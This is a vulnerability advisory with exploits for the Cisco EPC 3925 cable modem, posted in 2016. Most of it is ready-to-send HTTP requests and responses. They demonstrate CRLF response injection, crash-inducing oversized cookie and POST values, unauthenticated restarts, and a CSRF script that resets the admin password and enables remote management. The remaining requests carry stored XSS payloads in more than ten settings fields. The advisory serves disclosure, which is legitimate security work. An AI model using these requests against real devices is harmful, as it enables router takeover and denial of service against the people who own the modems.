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Cisco EPC 3925 XSS / CSRF / HTTP Response Injection / DoS

Cisco EPC 3925 XSS / CSRF / HTTP Response Injection / DoS
Posted Sep 15, 2016
Authored by Patryk Bogdan

Cisco EPC 3925 suffers from cross site request forgery, cross site scripting, HTTP response injection, and denial of service vulnerabilities.

tags | exploit, web, denial of service, vulnerability, xss, csrf
systems | cisco
MD5 | da040bc2a2f881da29f4fe41cf33122f

Cisco EPC 3925 XSS / CSRF / HTTP Response Injection / DoS

Change Mirror Download
# Title: Cisco EPC 3925 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco EPC3925 (EuroDocsis 3.0 2-PORT Voice Gateway)
# Date: 15.09.2016
# Author: Patryk Bogdan

========

Vulnerability list:
1. HTTP Response Injection via 'Lang' Cookie
2. DoS via 'Lang' Cookie
3. DoS in Wireless Client List via 'h_sortWireless'
4. (Un)authorized modem restart (Channel Selection)
5. CSRF
6. Stored XSS in SMTP Settings (Administration -> Reportning)
7. Stored XSS in User Name #1 (e.g Administration -> Managment / Setup -> Quick Setup)
8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)
9. Stored XSS in ToD Filter (Access Restrictions -> Time of Day Rules)
10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)
11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)
12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)
13. Stored XSS in DDNS Settings (Setup -> DDNS)
14. Stored XSS in Advanced VPN Setup (Security -> VPN -> Advanced Settings)

========

1. HTTP Response Injection

It is able to inject arbitrary data into device memory via 'Lang' cookie,
additional data will be stored until modem restart and will be returned with every http response.

#1 - Request:
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Cookie: Lang=en; SessionID=171110
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

username_login=aaa&password_login=bbb&LanguageSelect=en%0d%0aSet-Cookie: pwned&Language_Submit=0&login=Log+In

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Docsis_system.asp
Content-type: text/html
Connection: close
(...)


#2 - Request:
GET / HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=en
Set-Cookie: pwned
Set-Cookie: SessionID=219380
Content-Length: 1398
(...)


2. DoS via 'Lang' Cookie

Modem crashes when cookie variable in request is too long.

#1 - Request (crash via http injection):
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

username_login=aaa&password_login=bbb&LanguageSelect=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Docsis_system.asp
Content-type: text/html
Connection: close


#2 - Request:
GET /Docsis_system.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Set-Cookie: SessionID=163190
Content-Length: 18743
(...)

At this point modem crashes:

C:\Users\Patryk>ping -n 10 192.168.100.1

Pinging 192.168.100.1 with 32 bytes of data:
Request timed out.
Request timed out.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
(...)

DoS can be also executed with single HTTP request, like this:
GET / HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/
Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; SessionID=163190
Connection: close


3. DoS in Wireless Client List via 'h_sortWireless'

Modem crashes when variable for POST parameter 'h_sortWireless' is too long.

#1 - Request:
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/WClientMACList.asp
Cookie: Lang=en; SessionID=71750
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

sortWireless=status&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/WClientMACList.asp
Content-type: text/html
Connection: close

( ... crash ... )


4. (Un)authorized channel Selection

On Cisco 3925 unauthorized user can edit device channel settings and restart the modem. Such functionality should be available only for logged users, for example it's disabled on EPC 3928.


5. CSRF

There is no prevention against CSRF attacks, attacker can for example change admin credentials and enable remote managment in single request.

PoC:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.100.1/goform/Administration", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=admin&sysPasswd=newpass&sysConfirmPasswd=newpass&remote_management=enable&http_wanport=8080&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=enable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>



6. Stored XSS in Administration -> Reporting

#1 - Request:
POST /goform/Log HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Log.asp
Cookie: Lang=en; SessionID=457480
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 236

email_enable=enable&smtp_server=%22+onmouseover%3Dalert%281%29+x%3D%22y&email_for_log=%22+onmouseover%3Dalert%282%29+x%3D%22y&SmtpUsername=%22+onmouseover%3Dalert%283%29+x%3D%22y&SmtpPassword=aaa&save=Save+Settings&h_email_enable=enable

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Log.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Log.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Log.asp
Cookie: Lang=en; SessionID=457480
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 6454
(...)
<TD>
<input type="text" name="smtp_server" maxlength="255" size="30" value="" onmouseover=alert(1) x="y" />
</TD>
</TR>
<tr>
<TD>
<script language="javascript" type="text/javascript">dw(va_log_email3);</script>
</TD>
<TD>
<input type="text" name="email_for_log" maxlength="255" size="30" value="" onmouseover=alert(2) x="y"/>
</TD>
</TR>
<tr>
<TD>
<script language="javascript" type="text/javascript">dw(msg_smtp_username);</script>
</TD>
<TD>
<input type="text" name="SmtpUsername" maxlength="255" size="30" value="" onmouseover=alert(3) x="y" />
</TD>
</TR>
(...)


7. Stored XSS in User Name (Administration -> Managment / Setup -> Quick Setup)

#1 - Request:
POST /goform/Administration HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Administration.asp
Cookie: Lang=en; SessionID=457480
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sysPasswd=aaa&sysConfirmPasswd=aaa&remote_management=disable&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=disable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Quick_setup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Quick_setup.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Administration.asp
Cookie: Lang=en; SessionID=457480
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 34779
(...)
<tr>
<td nowrap>
<script language="javascript" type="text/javascript">dw(va_local_access2);</script>
</td>
<td nowrap>
<script>alert('XSS')</script>
</td>
</tr>
(...)


8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)

#1 - Request:
POST /goform/Rg_UserSetup HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_UserSetup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

NewUser=user onmouseover=alert('XSS')&Btn_AddUser=Add+User&AddUser=1&UserList=Default&RemoveUser=0&UserConfigChanged=0

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_UserSetup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_UserSetup.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_UserSetup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 9706
(...)
<select onchange="submit();" name="UserList">
<option value=Default >1. Default<option value=user onmouseover=alert('XSS') selected>2. user onmouseover=alert('XSS
</select>
(...)


9. Stored XSS in ToD Filter

#1 - Request:
POST /goform/Rg_TodFilter HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_TodFilter.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 189

TodClient=<script>alert('XSS')</script>&TodAdd=Add&addTodClient=1&ToDComputers=No+filters+entered.&removeTodClient=&StartHour=12&StartMinute=00&StartAmPm=1&EndHour=12&EndMinute=00&EndAmPm=1

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_TodFilter.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_TodFilter.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_TodFilter.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 9140
(...)
<select name="ToDComputers" onChange="submit();">
<option value=0 selected>1. <script>alert('XSS')</script>
</select>
(...)


10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)

#1 - Request:
POST /goform/Rg_ParentalBasic HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

NewContentRule=<script>alert('XSS')</script>&AddRule=Add+Rule&AddContentRule=1&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=&AllowedDomainAction=0&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_ParentalBasic.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_ParentalBasic.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 11126
(...)
<select name="ContentRules" onChange="submit();">
<option value=0 selected>1. Default<option value=1 >2. <script>alert('XSS')</script>
</select>
(...)


11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)

#1 - Request:
POST /goform/Rg_ParentalBasic HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 318

NewContentRule=&AddContentRule=&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&AddAllowedDomain=Add+Allowed+Domain&AllowedDomainAction=1&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_ParentalBasic.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_ParentalBasic.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 10741
(...)
<select name="AllowedDomainList" size=5>
<option value="1"><script>alert('XSS')</script>
</select>
(...)


12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)

#1 - Request:
POST /goform/Quick_setup HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Quick_setup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 371

Password=&PasswordReEnter=&setup_wifi_enable=enable&ssid=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&security_mode=psk2_mixed&wpa_enc=tkip%2Baes&wpa_psk_key=231503725&radius_ip_1=0&radius_ip_2=0&radius_ip_3=0&radius_ip_4=0&keysize=64&tx_key=1&save=Save+Settings&h_setup_wifi_enable=enable&h_security_mode=psk2_mixed&h_wpa_enc=tkip%2Baes&qs_wds_setting=disable&UserId=

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Quick_setup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Wireless.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Quick_setup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 51653
(...)
<tr>
<td>
<B><script language="javascript" type="text/javascript">dw(vwnetwork_name);</script></B>
</td>
<td colspan="2">
<script>alert('XSS')</script>
</td>
</tr>
(...)


13. Stored XSS in DDNS Settings (Setup -> DDNS)

#1 - Request:
POST /goform/Setup_DDNS HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Setup_DDNS.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 154

DdnsService=0&DdnsUserName=user" onmouseover=alert('XSS_1') x="&DdnsPassword=aaa x="&DdnsHostName=host" onmouseover=alert('XSS_2') x="y&save=Save+Settings

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Setup_DDNS.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Setup_DDNS.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Setup_DDNS.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 5738
(...)
<td>
<input name="DdnsUserName" type="text" size="16" maxlength="64" value="user" onmouseover=alert('XSS_1') x="" />
</td>
(...)
<td>
<input name="DdnsHostName" type="text" size="32" maxlength="256" value="host" onmouseover=alert('XSS_2') x="y" />
</td>
(...)


14. Stored XSS in Adv. VPN Setup (Security -> VPN -> Advanced Settings)

#1 - Request:
POST /goform/vpn_adv HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/vpn_adv.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 286

NegotiationMode=0&LocalIdentityType=2&LocalIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&RemoteIdentityType=2&RemoteIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&Phase1Encryption=2&Phase1Authentication=1&Phase1DhGroup=0&Phase1SaLifetime=28800&Phase2DhGroup=0

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/vpn_adv.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /vpn_adv.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/vpn_adv.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 10179
(...)
<td>
<input type="radio" name="LocalIdentityType" value="2" onClick="LocalIdentityTypeClicked();" />
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
<input type="text" name="LocalIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
</td>
(...)
<tr>
<td>
<input type="radio" name="RemoteIdentityType" value="2" onClick="RemoteIdentityTypeClicked();">
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
<input type="text" name="RemoteIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
</td>
</tr>
(...)

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